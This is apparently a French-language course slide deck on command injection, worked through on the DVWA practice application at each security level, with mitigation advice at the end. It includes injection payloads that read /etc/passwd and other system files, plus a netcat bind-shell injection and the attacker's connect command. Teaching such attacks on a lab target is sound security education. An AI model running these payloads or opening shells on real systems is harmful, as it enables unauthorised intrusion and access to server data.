-
Vincent Mazenod authoredVincent Mazenod authored
cmdi.md 4.54 KiB
Command execution
command injection
akaCMDi
-
paramètres non filtrés
- la commande est écrite en dur
- exécution de commandes arbitraires sur le serveur
- exécutée avec les droits du serveur (thread)
- la commande est écrite en dur
-
triviale mais assez rare
CMDi / low
- Unix
- Pipeline
- redirection la sortie standard: |
- redirection la sortie d'erreur: |&
- List
- séparateur de commande: ;
- arrière plan: &
- et logique: &&
- ou logique: ||
- Pipeline
CMDi / low
localhost && ls
; whoami
localhost | id
- le réseau est également explorable
Note:
- dvwa à brutforcer
- non y a le cookie qui coince :/
- il faut injecter des commandes que le server connait
- win/unix/linux/bsd/solarix/aix
- pool de commandes par défaut
- win/unix/linux/bsd/solarix/aix
- l'enchainement d'exlpoits est laisser à l'imagination du pentester
- plus il est expérimenté plus il peut créer des attques complexes
- plus il peut aller loin dans l'exploitation
- plus il est expérimenté plus il peut créer des attques complexes
- Regarder le code
- Que peut on faire pour améliorer
- DVWA Security -> medium
- Que peut on faire pour améliorer
CMDi / medium
les chaînes de caractères "&&" et ";" sont interdites
# Pour y voir plus clair
localhost | ls
# Plus intéressant
localhost | pwd & whoami & ps
localhost | uname -a & users & id & w
localhost | cat /etc/group
localhost | cat /etc/passwd
Note:
- approche liste noire toujours perdante
- liste de caractère à échapper
- résultat visible
- affiché dans la page
- méga rare
- affiché dans la page
- aveugle
- certaines pas faciles à détecter
- adduser / mkdir lors de la création de compte
- un username se terminant par
- ;cmd
- un username se terminant par
- adduser / mkdir lors de la création de compte
- ping réseau
- on sait si ca a marcher avec le temps d'exécution du ping
- si ca rame au chargement de la page
- c'est que le ping est en train de s'exécuter à l'infini
- si ca rame au chargement de la page
- sinon sniffer le ping de retour
- si pas bloqué
- ping -c3 127.0.0.1 pour mémoire
- on sait si ca a marcher avec le temps d'exécution du ping
- résolution dns d'un domaine maitrisé connu de nous seul
- certaines pas faciles à détecter
- Regarder le code
- Que peut on faire pour amliorer
- DVWA Security -> high
- Que peut on faire pour amliorer
CMDi / high
localhost|ls
Note: -détailler l'expression régulière
CMDi / impossible
- l'approche est ici différente
- on ne cherche plus à éliminer les caractères dangereux
- on cherche à valider que l'entrée est bien une IP
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
Note: -détailler l'expression régulière
bind shell
- ex netcat
sudo apt install ncat
- injecter
1 | ncat -v -e '/bin/bash' -l -p 8080
- puis sur le terminal de l'attaquant
ncat -v vm-etu-vimazeno.local.isima.fr 8080
- \o/ accès distant à la machine
- avec les permissions de l'utilisateur www-data
Note:
- revenir en medium ou low security
- on peut le faire avec cookie manager +
- netcat couteau suisse réseau
- permet d'écrire sur un port
- soumis a pas mal de condition en vérité
- marche que dans un sens
- DMZ coupe tout le sortant
- reste possible dans ce sens
- mais faut passer d'eventuels friewalls
- et netcat peu avoir été supprimé
- marche que dans un sens
Se préserver
- éviter les commandes exec, shell_exec, passtru ou system
- utiliser shell_escape_args() en php
- utliser JSON.parse plutot qu'un eval() de JSON
- utiliser des lib spéacilisées
Note:
- faire marcher le bon sens
- Note le cron de drupal est pourri parce qu'appelable via des url
- utiliser le cron system
Se préserver
- utiliser des listes blanches plutôt que des listes noires
- utiliser cron pour les traitements récurrents
- ne pas installer
netcat
...